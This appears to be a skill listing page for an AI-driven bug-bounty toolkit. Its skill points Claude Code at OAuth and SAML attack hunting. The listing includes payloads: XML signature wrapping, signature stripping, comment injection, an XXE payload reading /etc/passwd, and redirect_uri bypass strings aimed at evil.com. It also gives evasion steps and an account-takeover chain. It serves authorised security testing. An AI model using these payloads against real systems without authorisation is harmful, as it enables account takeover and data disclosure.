hunt-burp
Drive Burp Suite over its MCP server as an AI triage + attack layer - review proxy history for signals, replay via Repeater/send,…
OAuth and SAML attack hunting - redirect_uri bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection. Wiki-first, FIND schema output.
$ npx -y skills add Encod3d-Sec/TORCH --skill hunt-federation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/hunt-federationContext preview
The summary Claude sees to decide when to auto-load this skill.
OAuth and SAML attack hunting - redirect_uri bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection. Wiki-first, FIND schema output.
name: hunt-federation description: OAuth and SAML attack hunting - redirect_uri bypass, state CSRF, SAML XSW (XSW1-XSW8), signature stripping, comment injection. Wiki-first, FIND schema output.
**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
qmd_query "OAuth SAML federation redirect_uri bypass XSW signature stripping state CSRF" via wiki-search MCP
Hub: [[web-moc]] (live index). Primary page: [[oauth-attacks]]. Payload arsenal: `wiki/payloads/oauth-saml.md`. Anchors: [[saml-attacks]].
Entry points:
/oauth/authorize /oauth/token /oauth/callback /auth/callback /saml/ /saml/acs /sso/saml /auth/saml/callback /login?redirect_uri= /signin?next=
**Rank before testing** - most federation payouts come from the top of this list:
1. **redirect_uri handling** - highest yield. This is where the code/token is delivered; a permissive match leaks it to an attacker origin and chains straight to ATO. 2. **Signature validation** - is the assertion signature checked at all, and does it cover exactly what the parser reads (stripping, comment injection live here). 3. **The XSW1-XSW8 matrix** - signature covers a signed element, the SP trusts a wrapper assertion. Automate the eight variants with SAML Raider. 4. **state / CSRF** - a missing or client-only `state` on the OAuth callback enables login-CSRF and attacker-to-victim account linking. 5. **OIDC metadata and client leakage** - `.well-known/openid-configuration`, JS bundles, APK resources: leaked `client_secret`, extra grant types, unadvertised endpoints.
<!-- Original: legit assertion by user@company.com -->
<!-- Modified: inject evil assertion with admin@company.com before the signed one -->
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID> <!-- Attacker-controlled -->
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
</saml:Assertion>
</saml:Response>Use SAMLRaider Burp extension for automated XSW1-XSW8 testing.
# 1. Decode echo "BASE64_SAML" | base64 -d | xmllint --format - > saml.xml # 2. Delete entire <Signature> element # 3. Change NameID to admin@company.com # 4. Re-encode base64 -w0 saml.xml # 5. POST -- if server doesn't verify signature = Critical ATO
<NameID>admin<!---->@company.com</NameID> <!-- Signature covers "admin<!---->@company.com" but parser sees "admin@company.com" -->
<?xml version="1.0"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <saml:Assertion><NameID>&xxe;</NameID></saml:Assertion>
Try: redirect_uri=https://legit.com.evil.com Try: redirect_uri=https://legit.com/callback/../../../evil Try: redirect_uri=https://legit.com&redirect_uri=https://evil.com (param pollution) Try: encoded chars %2F %40 %23
**Setup:** two accounts per `hunt-core` - a victim SSO identity and an attacker identity/client, in separate browser profiles so SSO cookies never cross.
1. Map all OAuth/SAML entry points 2. Capture a valid SAMLResponse via Burp - decode Base64, inspect XML 3. Test SAML: XSW (SAMLRaider), signature stripping, comment injection, XXE 4. Test OAuth: redirect_uri variations, state removal, nonce replay 5. Check `.well-known/openid-configuration` for OIDC surface 6. Check `client_secret` in JS bundles or APK resources 7. Verify impact: demonstrate ATO or privilege escalation on test account 8. **Distill when confirmed** - a reusable XSW variant or redirect_uri bypass, GENERIC, no client host: `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/oauth-attacks.md` (SAML findings: `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/saml-attacks.md`).
**Chain:** a permissive `redirect_uri` (host confusion, path traversal, param pollution, or the post-auth `Referer` leak above) -> steal the authorization code -> exchange it at `/oauth/token` -> full ATO. A trusted `NameID` / `sub` from a stripped or XSW assertion is itself an auth bypass; hand the resulting session to `hunt-auth` for reset-poisoning and session follow-through.
**Evasion when the direct attempt is rejected:** cycle the remaining redirect_uri encodings (`%2F` `%40` `%23`, `legit.com.evil.com`, `legit.com/../evil`, double `redirect_uri=`) before calling it validated; when XSW1/2 fail, walk XSW3-XSW8 with SAML Raider (each moves the wrapper relative to the signed element and the Response-vs-Assertion boundary) before declaring signatures enforced.
**NOT confirmation:** a redirect that carries an authorization `code` or `token` in its URL; an IdP or SP returning `200` on a modified `SAMLResponse`; the assertion "accepted"; the flow completing with `state` removed; any error, even a revealing one. None of these prove you hold another account.
**IS confirmation:** a token or authenticated session **for another account**, obtained through the flaw - an authorization code stolen via an attacker-controlled `redirect_uri` and exchanged for that account's token, or a forged / XSW / signature-stripped assertion tha
An AI-powered penetration testing and bug-bounty knowledge base and automation harness for Claude Code.
Drive Burp Suite over its MCP server as an AI triage + attack layer - review proxy history for signals, replay via Repeater/send,…
Capture a Burp Suite Repeater request/response as a PoC image (targets/<eng>/poc/) by driving the Burp MCP + the Kali GUI.…
OFFLINE FALLBACK for the claude-md-management plugin - prefer that plugin when it is installed. Audit and improve CLAUDE.md files…
Drive responsible disclosure of a proven finding to a CVE. Package the report, find the vendor contact, report privately,…
Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP/Kerberoast, ACL + ADCS…
API attack hunting (REST / GraphQL / gRPC) - BOLA/IDOR, BFLA, mass assignment, excessive data exposure, auth/JWT, introspection +…